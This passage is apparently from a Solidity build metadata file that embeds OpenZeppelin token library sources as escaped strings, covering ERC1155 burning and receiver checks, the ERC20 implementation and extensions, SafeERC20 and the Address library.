xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n { }\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x8a7cdfd0cc4a768ad04f850cbce1e877cf7ac16202c33049e3dd9e5bd99d713b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) 